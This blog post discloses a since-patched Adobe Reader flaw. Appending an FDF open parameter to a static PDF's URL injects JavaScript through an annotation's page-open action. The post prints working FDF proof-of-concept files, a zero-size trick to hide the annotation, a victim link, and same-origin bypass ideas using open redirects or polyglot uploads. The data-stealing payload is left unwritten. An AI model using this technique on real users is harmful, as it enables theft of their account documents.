Intro
Quite some time has passed since my last blog post, so I decided to present a nice feature of PDF. I will use a made up example to demonstrate how to inject JavaScript into a static PDF, which does not contain any attacker controlled data.
This bug was fixed on January 10, 2017.
Adobe Reader now displays a warning dialog for injected JavaScript via Additional Action.
The scenario
The EB or "example Bank" at example.com offers a member area for customers. After an user is logged in he can view PDFs, which contain important account information. One of the PDFs is available via http://example.com/data.pdf.
How can an attacker inject JavaScript into this PDF, assuming that the victim is logged in, and steal it?
Injection Point: Welcome Open Parameters
Normally internal PDF features are used to load external content via one of the action types or JavaScript, which offers different function calls like submitForm to load external content.
But as stated above, the PDF is static and the attacker can't influence it at all.
Most parameters are pretty boring besides the last one in the list:
Parameter:
fdf=URL
Description:
Specifies an FDF file to populate form fields in the PDF file being opened. For example:
#fdf=http://example.org/doc.fdf
Note: The fdf parameter should be specified last in a URL.
FDF? It could be that some of you are not familiar with this file type so lets talk about the form data format:
What is: XDP,XFDF and FDF?
XDP
--------------------------------------------
I am not going to talk much about XDP, as it will not be used for the attack, but here is the description taken from Wikipedia:
Wikipedia: "XML Data Package (XDP) is an XML file format created by Adobe Systems in 2003. It is intended to be an XML-based companion to PDF. It allows PDF content and/or Adobe XML Forms Architecture (XFA) resources to be packaged within an XML container."
This feature was mostly used to evade AV detection:
http://shiftordie.de/blog/2011/02/09/evading-avs-using-the-xml-data-package-xdp-format/
FDF & XFDF
--------------------------------------------
XFDF is the XML version of FDF. As it only contains a subset of FDF, I won't discuss it.
Simply speaking FDF can contain JavaScript, Form Data, Annotations or even complete PDF Pages (although I never managed to make this feature work).
A sample structure looks like this:
%FDF-1.2
%âãÏÓ
1 0 obj
<<
/FDF <<
/JavaScript <<
/After (app.alert('after'))
/Doc [
(PlusOne)(app.alert('42');
app.alert(URL);console.show();)
] >>
/ID[<7a0631678ed475f0898815f0a818cfa1><bef7724317b311718e8675b677ef9b4e>]
/Fields[
<</T(Street)/V(345 Park Ave.)>>
<</T(City)/V(San Jose)>>
]
>>
>>
endobj
trailer
<<
/Root 1 0 R
>>
%%EOF
The general structure of FDF is the same as PDF. It needs a header eg. %FDF-<version> or the trailer object to specify the start objects. This example already shows two possible Keys, JavaScript and Fields. The Fields key allows it to specify a value for an existing form field in the existing PDFs. The JavaScript key allows to include JavaScript, which is executed in the loading PDF. The After key is executed as soon as the whole FDF is imported. The Doc key defines an array, which contains additional JavaScript scripts to be added to those defined in the JavaScript entry of the document’s name dictionary. So all the necessary ingredients for a working attack are there, right? Wrong! This is what happens if the following FDF is loaded in a PDF:
URL: http://example.com/fdf/asd.pdf#FDF=http://example.com/x_adat.fdf
/* English: JavaScript was blocked, to protect against security risk. */
This makes the
JavaScript key useless for an attacker as the victim will not allow the script to run.
Let's keep reading the FDF specification.
Annotations
As I already mentioned FDF supports annotation. There are a lot of different annotations, the most known one being the comment annotation. Additionally you can add files, add sounds, stamps or strike-through text:
These annotations are not interesting regarding their functionality (besides the movie and screen annotations, as these allow to load flash files), but FDF supports a field called
Additional Actions for annotations. This field allows to execute specific actions based on trigger events. PDF supports a lot of different events, the most useful for annotation is called PO: "An action to be performed when the page containing the annotation is opened."
By combining this event + the JavaScript action we have another way to inject JavaScript. The following FDF uses the FreeText annotation to add a JavaScript action to it:
%FDF-1.2
%âãÏÓ
1 0 obj
<</FDF<</Annots[2 0 R]
/ID[<9DE1D53EE27B8342ABAF121AB257E7EA><4370C7654ACB0D429DF932C95FF78175>]
>>/Type/Catalog>>
endobj
2 0 obj
<<
/C[1.0 1.0 1.0]
/Contents(HALL2O)
/CreationDate(D:20160821215706+02'00')
/DA(0.898 0.1333 0.2157 rg /Helv 12 Tf)
/DS(font: Helvetica,sans-serif 12.0pt; text-align:left; color:#E52237 )
/F 4
/M(D:20160821215711+02'00')
/NM(e85d1cb2-2c79-40f5-a2a2-83708ab127c9)
/Page 0
/RC(<?xml version="1.0"?><body xmlns="http://www.w3.org/1999/xhtml" xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/" xfa:APIVersion="Acrobat:15.17.0" xfa:spec="2.0.2" style="font-size:12.0pt;text-align:left;color:#FF0000;font-weight:normal;font-style:norm\
al;font-family:Helvetica,sans-serif;font-stretch:normal"><p dir="ltr"><span style="font-family:Helvetica">Hjj</span></p></body>)
/Rect[188.895 758.279 222.252 794.679]
/Subj(Textfeld)
/Subtype/FreeText
/T(johnny)
/Type/Annot
/AA 8 0 R
>>
endobj
8 0 obj
<<
/PO <<
/S /JavaScript
/JS (app.alert(2);)
>>
>>
endobj
trailer
<</Root 1 0 R>>
%%EOF
Let's load it:
URL: http://example.com/data.pdf#FDF=http://example.com/fdf/test2.fdf
As you can see the FreeText annotation is displayed and therefore JavaScript is executed inside the PDF. If you want to hide the injected annotation, modify the following key:
/Rect[188.895 758.279 222.252 794.679] ==>
/Rect[0 0 0 0]
Adobe reader does not show any warning dialog so an attacker can send the following link to a logged in victim to steal his PDF information:
http://example.com/data.pdf#FDF=http://example.com/stealingFDF.fdf
Note:
The JavaScript payload to actually steal the information is left as an exercise.
#FDF=<SAME ORIGIN FDF>
The impact of this attack is reduced as the FDF needs to be on the same origin as the loading PDF. I came up with two possible scenarios to bypass/fulfill this requirement. First an open redirect vulnerability can be used to load the FDF. Adobe Reader follows redirects without any checks regarding the new location. Second the FDF allows 494 bytes before its header. Additionally the content-type is ignored. This could be used to create a polyglot, which could be uploaded to the vulnerable site. The second approach is difficult as Adobe Reader blacklists a lot of possible headers like JPG, PNG and other images.